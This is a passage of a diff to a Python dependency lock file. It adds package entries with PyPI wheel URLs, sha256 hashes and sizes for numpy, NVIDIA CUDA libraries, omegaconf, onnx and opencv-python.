"https://files.pythonhosted.org/packages/85/c5/e19c8f99d83fd377ec8c7e0cf627a8049746da54afc24ef0a0cb73d5dfb5/numpy-2.2.6-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f92729c95468a2f4f15e9bb94c432a9229d0d50de67304399627a943201baa2f", size = 14010719, upload-time = "2025-05-17T21:38:58.433Z" }, + { url = "https://files.pythonhosted.org/packages/19/49/4df9123aafa7b539317bf6d342cb6d227e49f7a35b99c287a6109b13dd93/numpy-2.2.6-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1bc23a79bfabc5d056d106f9befb8d50c31ced2fbc70eedb8155aec74a45798f", size = 16526072, upload-time = "2025-05-17T21:39:22.638Z" }, + { url = "https://files.pythonhosted.org/packages/b2/6c/04b5f47f4f32f7c2b0e7260442a8cbcf8168b0e1a41ff1495da42f42a14f/numpy-2.2.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e3143e4451880bed956e706a3220b4e5cf6172ef05fcc397f6f36a550b1dd868", size = 15503213, upload-time = "2025-05-17T21:39:45.865Z" }, + { url = "https://files.pythonhosted.org/packages/17/0a/5cd92e352c1307640d5b6fec1b2ffb06cd0dabe7d7b8227f97933d378422/numpy-2.2.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b4f13750ce79751586ae2eb824ba7e1e8dba64784086c98cdbbcc6a42112ce0d", size = 18316632, upload-time = "2025-05-17T21:40:13.331Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3b/5cba2b1d88760ef86596ad0f3d484b1cbff7c115ae2429678465057c5155/numpy-2.2.6-cp313-cp313-win32.whl", hash = "sha256:5beb72339d9d4fa36522fc63802f469b13cdbe4fdab4a288f0c441b74272ebfd", size = 6244532, upload-time = "2025-05-17T21:43:46.099Z" }, + { url = "https://files.pythonhosted.org/packages/cb/3b/d58c12eafcb298d4e6d0d40216866ab15f59e55d148a5658bb3132311fcf/numpy-2.2.6-cp313-cp313-win_amd64.whl", hash = "sha256:b0544343a702fa80c95ad5d3d608ea3599dd54d4632df855e4c8d24eb6ecfa1c", size = 12610885, upload-time = "2025-05-17T21:44:05.145Z" }, + { url = "https://files.pythonhosted.org/packages/6b/9e/4bf918b818e516322db999ac25d00c75788ddfd2d2ade4fa66f1f38097e1/numpy-2.2.6-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0bca768cd85ae743b2affdc762d617eddf3bcf8724435498a1e80132d04879e6", size = 20963467, upload-time = "2025-05-17T21:40:44Z" }, + { url = "https://files.pythonhosted.org/packages/61/66/d2de6b291507517ff2e438e13ff7b1e2cdbdb7cb40b3ed475377aece69f9/numpy-2.2.6-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:fc0c5673685c508a142ca65209b4e79ed6740a4ed6b2267dbba90f34b0b3cfda", size = 14225144, upload-time = "2025-05-17T21:41:05.695Z" }, + { url = "https://files.pythonhosted.org/packages/e4/25/480387655407ead912e28ba3a820bc69af9adf13bcbe40b299d454ec011f/numpy-2.2.6-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:5bd4fc3ac8926b3819797a7c0e2631eb889b4118a9898c84f585a54d475b7e40", size = 5200217, upload-time = "2025-05-17T21:41:15.903Z" }, + { url = "https://files.pythonhosted.org/packages/aa/4a/6e313b5108f53dcbf3aca0c0f3e9c92f4c10ce57a0a721851f9785872895/numpy-2.2.6-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:fee4236c876c4e8369388054d02d0e9bb84821feb1a64dd59e137e6511a551f8", size = 6712014, upload-time = "2025-05-17T21:41:27.321Z" }, + { url = "https://files.pythonhosted.org/packages/b7/30/172c2d5c4be71fdf476e9de553443cf8e25feddbe185e0bd88b096915bcc/numpy-2.2.6-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e1dda9c7e08dc141e0247a5b8f49cf05984955246a327d4c48bda16821947b2f", size = 14077935, upload-time = "2025-05-17T21:41:49.738Z" }, + { url = "https://files.pythonhosted.org/packages/12/fb/9e743f8d4e4d3c710902cf87af3512082ae3d43b945d5d16563f26ec251d/numpy-2.2.6-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f447e6acb680fd307f40d3da4852208af94afdfab89cf850986c3ca00562f4fa", size = 16600122, upload-time = "2025-05-17T21:42:14.046Z" }, + { url = "https://files.pythonhosted.org/packages/12/75/ee20da0e58d3a66f204f38916757e01e33a9737d0b22373b3eb5a27358f9/numpy-2.2.6-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:389d771b1623ec92636b0786bc4ae56abafad4a4c513d36a55dce14bd9ce8571", size = 15586143, upload-time = "2025-05-17T21:42:37.464Z" }, + { url = "https://files.pythonhosted.org/packages/76/95/bef5b37f29fc5e739947e9ce5179ad402875633308504a52d188302319c8/numpy-2.2.6-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8e9ace4a37db23421249ed236fdcdd457d671e25146786dfc96835cd951aa7c1", size = 18385260, upload-time = "2025-05-17T21:43:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/09/04/f2f83279d287407cf36a7a8053a5abe7be3622a4363337338f2585e4afda/numpy-2.2.6-cp313-cp313t-win32.whl", hash = "sha256:038613e9fb8c72b0a41f025a7e4c3f0b7a1b5d768ece4796b674c8f3fe13efff", size = 6377225, upload-time = "2025-05-17T21:43:16.254Z" }, + { url = "https://files.pythonhosted.org/packages/67/0e/35082d13c09c02c011cf21570543d202ad929d961c02a147493cb0c2bdf5/numpy-2.2.6-cp313-cp313t-win_amd64.whl", hash = "sha256:6031dd6dfecc0cf9f668681a37648373bddd6421fff6c66ec1624eed0180ee06", size = 12771374, upload-time = "2025-05-17T21:43:35.479Z" }, + { url = "https://files.pythonhosted.org/packages/9e/3b/d94a75f4dbf1ef5d321523ecac21ef23a3cd2ac8b78ae2aac40873590229/numpy-2.2.6-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0b605b275d7bd0c640cad4e5d30fa701a8d59302e127e5f79138ad62762c3e3d", size = 21040391, upload-time = "2025-05-17T21:44:35.948Z" }, + { url = "https://files.pythonhosted.org/packages/17/f4/09b2fa1b58f0fb4f7c7963a1649c64c4d315752240377ed74d9cd878f7b5/numpy-2.2.6-pp310-pypy310_pp73-macosx_14_0_x86_64.whl", hash = "sha256:7befc596a7dc9da8a337f79802ee8adb30a552a94f792b9c9d18c840055907db", size = 6786754, upload-time = "2025-05-17T21:44:47.446Z" }, + { url = "https://files.pythonhosted.org/packages/af/30/feba75f143bdc868a1cc3f44ccfa6c4b9ec522b36458e738cd00f67b573f/numpy-2.2.6-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce47521a4754c8f4593837384bd3424880629f718d87c5d44f8ed763edd63543", size = 16643476, upload-time = "2025-05-17T21:45:11.871Z" }, + { url = "https://files.pythonhosted.org/packages/37/48/ac2a9584402fb6c0cd5b5d1a91dcf176b15760130dd386bbafdbfe3640bf/numpy-2.2.6-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d042d24c90c41b54fd506da306759e06e568864df8ec17ccc17e9e884634fd00", size = 12812666, upload-time = "2025-05-17T21:45:31.426Z" }, +] + +[[package]] +name = "nvidia-cublas-cu12" +version = "12.8.4.1" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/61/e24b560ab2e2eaeb3c839129175fb330dfcfc29e5203196e5541a4c44682/nvidia_cublas_cu12-12.8.4.1-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:8ac4e771d5a348c551b2a426eda6193c19aa630236b418086020df5ba9667142", size = 594346921, upload-time = "2025-03-07T01:44:31.254Z" }, +] + +[[package]] +name = "nvidia-cuda-cupti-cu12" +version = "12.8.90" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f8/02/2adcaa145158bf1a8295d83591d22e4103dbfd821bcaf6f3f53151ca4ffa/nvidia_cuda_cupti_cu12-12.8.90-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ea0cb07ebda26bb9b29ba82cda34849e73c166c18162d3913575b0c9db9a6182", size = 10248621, upload-time = "2025-03-07T01:40:21.213Z" }, +] + +[[package]] +name = "nvidia-cuda-nvrtc-cu12" +version = "12.8.93" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/05/6b/32f747947df2da6994e999492ab306a903659555dddc0fbdeb9d71f75e52/nvidia_cuda_nvrtc_cu12-12.8.93-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:a7756528852ef889772a84c6cd89d41dfa74667e24cca16bb31f8f061e3e9994", size = 88040029, upload-time = "2025-03-07T01:42:13.562Z" }, +] + +[[package]] +name = "nvidia-cuda-runtime-cu12" +version = "12.8.90" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0d/9b/a997b638fcd068ad6e4d53b8551a7d30fe8b404d6f1804abf1df69838932/nvidia_cuda_runtime_cu12-12.8.90-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:adade8dcbd0edf427b7204d480d6066d33902cab2a4707dcfc48a2d0fd44ab90", size = 954765, upload-time = "2025-03-07T01:40:01.615Z" }, +] + +[[package]] +name = "nvidia-cudnn-cu12" +version = "9.10.2.21" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "nvidia-cublas-cu12", marker = "(platform_machine != 'aarch64' and sys_platform == 'linux') or (sys_platform != 'darwin' and sys_platform != 'linux')" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/ba/51/e123d997aa098c61d029f76663dedbfb9bc8dcf8c60cbd6adbe42f76d049/nvidia_cudnn_cu12-9.10.2.21-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:949452be657fa16687d0930933f032835951ef0892b37d2d53824d1a84dc97a8", size = 706758467, upload-time = "2025-06-06T21:54:08.597Z" }, +] + +[[package]] +name = "nvidia-cufft-cu12" +version = "11.3.3.83" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "nvidia-nvjitlink-cu12", marker = "(platform_machine != 'aarch64' and sys_platform == 'linux') or (sys_platform != 'darwin' and sys_platform != 'linux')" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/13/ee4e00f30e676b66ae65b4f08cb5bcbb8392c03f54f2d5413ea99a5d1c80/nvidia_cufft_cu12-11.3.3.83-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4d2dd21ec0b88cf61b62e6b43564355e5222e4a3fb394cac0db101f2dd0d4f74", size = 193118695, upload-time = "2025-03-07T01:45:27.821Z" }, +] + +[[package]] +name = "nvidia-cufile-cu12" +version = "1.13.1.3" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bb/fe/1bcba1dfbfb8d01be8d93f07bfc502c93fa23afa6fd5ab3fc7c1df71038a/nvidia_cufile_cu12-1.13.1.3-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1d069003be650e131b21c932ec3d8969c1715379251f8d23a1860554b1cb24fc", size = 1197834, upload-time = "2025-03-07T01:45:50.723Z" }, +] + +[[package]] +name = "nvidia-curand-cu12" +version = "10.3.9.90" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/aa/6584b56dc84ebe9cf93226a5cde4d99080c8e90ab40f0c27bda7a0f29aa1/nvidia_curand_cu12-10.3.9.90-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:b32331d4f4df5d6eefa0554c565b626c7216f87a06a4f56fab27c3b68a830ec9", size = 63619976, upload-time = "2025-03-07T01:46:23.323Z" }, +] + +[[package]] +name = "nvidia-cusolver-cu12" +version = "11.7.3.90" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "nvidia-cublas-cu12", marker = "(platform_machine != 'aarch64' and sys_platform == 'linux') or (sys_platform != 'darwin' and sys_platform != 'linux')" }, + { name = "nvidia-cusparse-cu12", marker = "(platform_machine != 'aarch64' and sys_platform == 'linux') or (sys_platform != 'darwin' and sys_platform != 'linux')" }, + { name = "nvidia-nvjitlink-cu12", marker = "(platform_machine != 'aarch64' and sys_platform == 'linux') or (sys_platform != 'darwin' and sys_platform != 'linux')" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/85/48/9a13d2975803e8cf2777d5ed57b87a0b6ca2cc795f9a4f59796a910bfb80/nvidia_cusolver_cu12-11.7.3.90-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:4376c11ad263152bd50ea295c05370360776f8c3427b30991df774f9fb26c450", size = 267506905, upload-time = "2025-03-07T01:47:16.273Z" }, +] + +[[package]] +name = "nvidia-cusparse-cu12" +version = "12.5.8.93" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "nvidia-nvjitlink-cu12", marker = "(platform_machine != 'aarch64' and sys_platform == 'linux') or (sys_platform != 'darwin' and sys_platform != 'linux')" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/c2/f5/e1854cb2f2bcd4280c44736c93550cc300ff4b8c95ebe370d0aa7d2b473d/nvidia_cusparse_cu12-12.5.8.93-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1ec05d76bbbd8b61b06a80e1eaf8cf4959c3d4ce8e711b65ebd0443bb0ebb13b", size = 288216466, upload-time = "2025-03-07T01:48:13.779Z" }, +] + +[[package]] +name = "nvidia-cusparselt-cu12" +version = "0.7.1" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/79/12978b96bd44274fe38b5dde5cfb660b1d114f70a65ef962bcbbed99b549/nvidia_cusparselt_cu12-0.7.1-py3-none-manylinux2014_x86_64.whl", hash = "sha256:f1bb701d6b930d5a7cea44c19ceb973311500847f81b634d802b7b539dc55623", size = 287193691, upload-time = "2025-02-26T00:15:44.104Z" }, +] + +[[package]] +name = "nvidia-nccl-cu12" +version = "2.27.5" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6e/89/f7a07dc961b60645dbbf42e80f2bc85ade7feb9a491b11a1e973aa00071f/nvidia_nccl_cu12-2.27.5-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ad730cf15cb5d25fe849c6e6ca9eb5b76db16a80f13f425ac68d8e2e55624457", size = 322348229, upload-time = "2025-06-26T04:11:28.385Z" }, +] + +[[package]] +name = "nvidia-nvjitlink-cu12" +version = "12.8.93" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f6/74/86a07f1d0f42998ca31312f998bd3b9a7eff7f52378f4f270c8679c77fb9/nvidia_nvjitlink_cu12-12.8.93-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:81ff63371a7ebd6e6451970684f916be2eab07321b73c9d244dc2b4da7f73b88", size = 39254836, upload-time = "2025-03-07T01:49:55.661Z" }, +] + +[[package]] +name = "nvidia-nvshmem-cu12" +version = "3.4.5" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b5/09/6ea3ea725f82e1e76684f0708bbedd871fc96da89945adeba65c3835a64c/nvidia_nvshmem_cu12-3.4.5-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:042f2500f24c021db8a06c5eec2539027d57460e1c1a762055a6554f72c369bd", size = 139103095, upload-time = "2025-09-06T00:32:31.266Z" }, +] + +[[package]] +name = "nvidia-nvtx-cu12" +version = "12.8.90" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a2/eb/86626c1bbc2edb86323022371c39aa48df6fd8b0a1647bc274577f72e90b/nvidia_nvtx_cu12-12.8.90-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5b17e2001cc0d751a5bc2c6ec6d26ad95913324a4adb86788c944f8ce9ba441f", size = 89954, upload-time = "2025-03-07T01:42:44.131Z" }, +] + +[[package]] +name = "omegaconf" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "antlr4-python3-runtime" }, + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/09/48/6388f1bb9da707110532cb70ec4d2822858ddfb44f1cdf1233c20a80ea4b/omegaconf-2.3.0.tar.gz", hash = "sha256:d5d4b6d29955cc50ad50c46dc269bcd92c6e00f5f90d23ab5fee7bfca4ba4cc7", size = 3298120, upload-time = "2022-12-08T20:59:22.753Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e3/94/1843518e420fa3ed6919835845df698c7e27e183cb997394e4a670973a65/omegaconf-2.3.0-py3-none-any.whl", hash = "sha256:7b4df175cdb08ba400f45cae3bdcae7ba8365db4d165fc65fd04b050ab63b46b", size = 79500, upload-time = "2022-12-08T20:59:19.686Z" }, +] + +[[package]] +name = "onnx" +version = "1.20.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ml-dtypes" }, + { name = "numpy" }, + { name = "protobuf" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3b/8a/335c03a8683a88a32f9a6bb98899ea6df241a41df64b37b9696772414794/onnx-1.20.1.tar.gz", hash = "sha256:ded16de1df563d51fbc1ad885f2a426f814039d8b5f4feb77febe09c0295ad67", size = 12048980, upload-time = "2026-01-10T01:40:03.043Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/79/cc/4ba3c80cfaffdb541dc5a23eaccb045a627361e94ecaeba30496270f15b3/onnx-1.20.1-cp310-cp310-macosx_12_0_universal2.whl", hash = "sha256:3fe243e83ad737637af6512708454e720d4b0864def2b28e6b0ee587b80a50be", size = 17904206, upload-time = "2026-01-10T01:38:58.574Z" }, + { url = "https://files.pythonhosted.org/packages/f3/fc/3a1c4ae2cd5cfab2d0ebc1842769b04b417fe13946144a7c8ce470dd9c85/onnx-1.20.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e24e96b48f27e4d6b44cb0b195b367a2665da2d819621eec51903d575fc49d38", size = 17414849, upload-time = "2026-01-10T01:39:01.494Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ab/5017945291b981f2681fb620f2d5b6070e02170c648770711ef1eac79d56/onnx-1.20.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0903e6088ed5e8f59ebd381ab2a6e9b2a60b4c898f79aa2fe76bb79cf38a5031", size = 17513600, upload-time = "2026-01-10T01:39:04.348Z" }, + { url = "https://files.pythonhosted.org/packages/2e/b0/063e79dc365972af876d786bacc6acd8909691af2b9296615ff74ad182f3/onnx-1.20.1-cp310-cp310-win32.whl", hash = "sha256:17483e59082b2ca6cadd2b48fd8dce937e5b2c985ed5583fefc38af928be1826", size = 16239159, upload-time = "2026-01-10T01:39:07.254Z" }, + { url = "https://files.pythonhosted.org/packages/2a/73/a992271eb3683e676239d71b5a78ad3cf4d06d2223c387e701bf305da199/onnx-1.20.1-cp310-cp310-win_amd64.whl", hash = "sha256:e2b0cf797faedfd3b83491dc168ab5f1542511448c65ceb482f20f04420cbf3a", size = 16391718, upload-time = "2026-01-10T01:39:09.96Z" }, + { url = "https://files.pythonhosted.org/packages/0c/38/1a0e74d586c08833404100f5c052f92732fb5be417c0b2d7cb0838443bfe/onnx-1.20.1-cp311-cp311-macosx_12_0_universal2.whl", hash = "sha256:53426e1b458641e7a537e9f176330012ff59d90206cac1c1a9d03cdd73ed3095", size = 17904965, upload-time = "2026-01-10T01:39:13.532Z" }, + { url = "https://files.pythonhosted.org/packages/96/25/64b076e9684d17335f80b15b3bf502f7a8e1a89f08a6b208d4f2861b3011/onnx-1.20.1-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ca7281f8c576adf396c338cf43fff26faee8d4d2e2577b8e73738f37ceccf945", size = 17415179, upload-time = "2026-01-10T01:39:16.516Z" }, + { url = "https://files.pythonhosted.org/packages/ac/d5/6743b409421ced20ad5af1b3a7b4c4e568689ffaca86db431692fca409a6/onnx-1.20.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2297f428c51c7fc6d8fad0cf34384284dfeff3f86799f8e83ef905451348ade0", size = 17513672, upload-time = "2026-01-10T01:39:19.35Z" }, + { url = "https://files.pythonhosted.org/packages/9a/6b/dae82e6fdb2043302f29adca37522312ea2be55b75907b59be06fbdffe87/onnx-1.20.1-cp311-cp311-win32.whl", hash = "sha256:63d9cbcab8c96841eadeb7c930e07bfab4dde8081eb76fb68e0dfb222706b81e", size = 16239336, upload-time = "2026-01-10T01:39:22.506Z" }, + { url = "https://files.pythonhosted.org/packages/8e/17/a0d7863390c1f2067d7c02dcc1477034965c32aaa1407bfcf775305ffee4/onnx-1.20.1-cp311-cp311-win_amd64.whl", hash = "sha256:d78cde72d7ca8356a2d99c5dc0dbf67264254828cae2c5780184486c0cd7b3bf", size = 16392120, upload-time = "2026-01-10T01:39:25.106Z" }, + { url = "https://files.pythonhosted.org/packages/aa/72/9b879a46eb7a3322223791f36bf9c25d95da9ed93779eabb75a560f22e5b/onnx-1.20.1-cp311-cp311-win_arm64.whl", hash = "sha256:0104bb2d4394c179bcea3df7599a45a2932b80f4633840896fcf0d7d8daecea2", size = 16346923, upload-time = "2026-01-10T01:39:27.782Z" }, + { url = "https://files.pythonhosted.org/packages/7c/4c/4b17e82f91ab9aa07ff595771e935ca73547b035030dc5f5a76e63fbfea9/onnx-1.20.1-cp312-abi3-macosx_12_0_universal2.whl", hash = "sha256:1d923bb4f0ce1b24c6859222a7e6b2f123e7bfe7623683662805f2e7b9e95af2", size = 17903547, upload-time = "2026-01-10T01:39:31.015Z" }, + { url = "https://files.pythonhosted.org/packages/64/5e/1bfa100a9cb3f2d3d5f2f05f52f7e60323b0e20bb0abace1ae64dbc88f25/onnx-1.20.1-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ddc0b7d8b5a94627dc86c533d5e415af94cbfd103019a582669dad1f56d30281", size = 17412021, upload-time = "2026-01-10T01:39:33.885Z" }, + { url = "https://files.pythonhosted.org/packages/fb/71/d3fec0dcf9a7a99e7368112d9c765154e81da70fcba1e3121131a45c245b/onnx-1.20.1-cp312-abi3-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9336b6b8e6efcf5c490a845f6afd7e041c89a56199aeda384ed7d58fb953b080", size = 17510450, upload-time = "2026-01-10T01:39:36.589Z" }, + { url = "https://files.pythonhosted.org/packages/74/a7/edce1403e05a46e59b502fae8e3350ceeac5841f8e8f1561e98562ed9b09/onnx-1.20.1-cp312-abi3-win32.whl", hash = "sha256:564c35a94811979808ab5800d9eb4f3f32c12daedba7e33ed0845f7c61ef2431", size = 16238216, upload-time = "2026-01-10T01:39:39.46Z" }, + { url = "https://files.pythonhosted.org/packages/8b/c7/8690c81200ae652ac550c1df52f89d7795e6cc941f3cb38c9ef821419e80/onnx-1.20.1-cp312-abi3-win_amd64.whl", hash = "sha256:9fe7f9a633979d50984b94bda8ceb7807403f59a341d09d19342dc544d0ca1d5", size = 16389207, upload-time = "2026-01-10T01:39:41.955Z" }, + { url = "https://files.pythonhosted.org/packages/01/a0/4fb0e6d36eaf079af366b2c1f68bafe92df6db963e2295da84388af64abc/onnx-1.20.1-cp312-abi3-win_arm64.whl", hash = "sha256:21d747348b1c8207406fa2f3e12b82f53e0d5bb3958bcd0288bd27d3cb6ebb00", size = 16344155, upload-time = "2026-01-10T01:39:45.536Z" }, + { url = "https://files.pythonhosted.org/packages/ea/bb/715fad292b255664f0e603f1b2ef7bf2b386281775f37406beb99fa05957/onnx-1.20.1-cp313-cp313t-macosx_12_0_universal2.whl", hash = "sha256:29197b768f5acdd1568ddeb0a376407a2817844f6ac1ef8c8dd2d974c9ab27c3", size = 17912296, upload-time = "2026-01-10T01:39:48.21Z" }, + { url = "https://files.pythonhosted.org/packages/2d/c3/541af12c3d45e159a94ee701100ba9e94b7bd8b7a8ac5ca6838569f894f8/onnx-1.20.1-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1f0371aa67f51917a09cc829ada0f9a79a58f833449e03d748f7f7f53787c43c", size = 17416925, upload-time = "2026-01-10T01:39:50.82Z" }, + { url = "https://files.pythonhosted.org/packages/2c/3b/d5660a7d2ddf14f531ca66d409239f543bb290277c3f14f4b4b78e32efa3/onnx-1.20.1-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:be1e5522200b203b34327b2cf132ddec20ab063469476e1f5b02bb7bd259a489", size = 17515602, upload-time = "2026-01-10T01:39:54.132Z" }, + { url = "https://files.pythonhosted.org/packages/9c/b4/47225ab2a92562eff87ba9a1a028e3535d659a7157d7cde659003998b8e3/onnx-1.20.1-cp313-cp313t-win_amd64.whl", hash = "sha256:15c815313bbc4b2fdc7e4daeb6e26b6012012adc4d850f4e3b09ed327a7ea92a", size = 16395729, upload-time = "2026-01-10T01:39:57.577Z" }, + { url = "https://files.pythonhosted.org/packages/aa/7d/1bbe626ff6b192c844d3ad34356840cc60fca02e2dea0db95e01645758b1/onnx-1.20.1-cp313-cp313t-win_arm64.whl", hash = "sha256:eb335d7bcf9abac82a0d6a0fda0363531ae0b22cfd0fc6304bff32ee29905def", size = 16348968, upload-time = "2026-01-10T01:40:00.491Z" }, +] + +[[package]] +name = "opencv-python" +version = "4.13.0.92" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/fc/6f/5a28fef4c4a382be06afe3938c64cc168223016fa520c5abaf37e8862aa5/opencv_python-4.13.0.92-cp37-abi3-macosx_13_0_arm64.whl", hash = "sha256:caf60c071ec391ba51ed00a4a920f996d0b64e3e46068aac1f646b5de0326a19", size = 46247052, upload-time = "2026-02-05T07:01:25.046Z" }, + { url = "https://files.pythonhosted.org/packages/08/ac/6c98c44c650b8114a0fb901691351cfb3956d502e8e9b5cd27f4ee7fbf2f/opencv_python-4.13.0.92-cp37-abi3-macosx_14_0_x86_64.whl", hash = "sha256:5868a8c028a0b37561579bfb8ac1875babdc69546d236249fff296a8c010ccf9", size = 32568781, upload-time = "2026-02-05T07:01:41.379Z" }, + { url = "https://files.pythonhosted.org/packages/3e/51/82fed528b45173bf629fa44effb76dff8bc9f4eeaee759038362dfa60237/opencv_python-4.13.0.92-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0bc2596e68f972ca452d80f444bc404e08807d021fbba40df26b61b18e01838a", size = 47685527, upload-time = "2026-02-05T06:59:11.24Z" }, + { url = "https://files.pythonhosted.org/packages/db/07/90b34a8e2cf9c50fe8ed25cac9011cde0676b4d9d9c973751ac7616223a2/opencv_python-4.13.0.92-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:402033cddf9d294693094de5ef532339f14ce821da3ad7df7c9f6e8316da32cf", size = 70460872, upload-time = "2026-02-05T06:59:19.162Z" }, + { url = "https://files.pythonhosted.org/packages/02/6d/7a9cc719b3eaf4377b9c2e3edeb7ed3a81de41f96421510c0a169ca3cfd4/opencv_python-4.13.0.92-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:bccaabf9eb7f897ca61880ce2869dcd9b25b72129c28478e7f2a5e8dee945616", size = 46708208, upload-time = "2026-02-05T06:59:15.419Z" }, + { url = "https://files.pythonhosted.org/packages/fd/55/b3b49a1b97aabcfbbd6c7326df9cb0b6fa0c0aefa8e89d500939e04aa229/opencv_python-4.13.0.92-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:620d602b8f7d8b8dab5f4b99c6eb353e78d3fb8b0f53db1bd258bb1aa001c1d5", size = 72927042, upload-time = "2026-02-05T06:59:23.389Z" }, + { url = "https://files.pythonhosted.org/packages/fb/17/de5458312bcb07ddf434d7bfcb24bb52c59635ad58c6e7c751b48949b009/opencv_python-4.13.0.92-cp37-abi3-win32.whl", hash = "sha256:372fe164a3148ac1ca51e5f3ad0541a4a276452273f503441d718fab9c5e5f59", size = 30932638, upload-time = "2026-02-05T07:02:14.98Z" }, + { url = "https://files.pythonhosted.org/packages/e9/a5/1be1516390333ff9be3a9cb648c9f33df79d5096e5884b5df71a588af463/opencv_python-4.13.0.92-cp37-abi3-win_amd64.whl", hash = "sha256:423d934c9fafb91aad38edf26efb46da91ffbc05f3f59c4b0c72e699720706f5", size = 40212062, upload-time = "2026-02-05T07:02:12.724Z" }, +] + +[[package]] +name = "opencv-python-headless" +version = "4.13.0.92" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/79/42/2310883be3b8826ac58c3f2787b9358a2d46923d61f88fedf930bc59c60c/opencv_python_headless-4.13.0.92-cp37-abi3-macosx_13_0_arm64.whl", hash = "sha256:1a7d040ac656c11b8c38677cc8cccdc149f98535089dbe5b081e80a4e5903209", size = 46247192, upload-time = "2026-02-05T07:01:35.187Z" }, + { url = "https://files.pythonhosted.org/packages/2d/1e/6f9e38005a6f7f22af785df42a43139d0e20f169eb5787ce8be37ee7fcc9/opencv_python_headless-4.13.0.92-cp37-abi3-macosx_14_0_x86_64.whl", 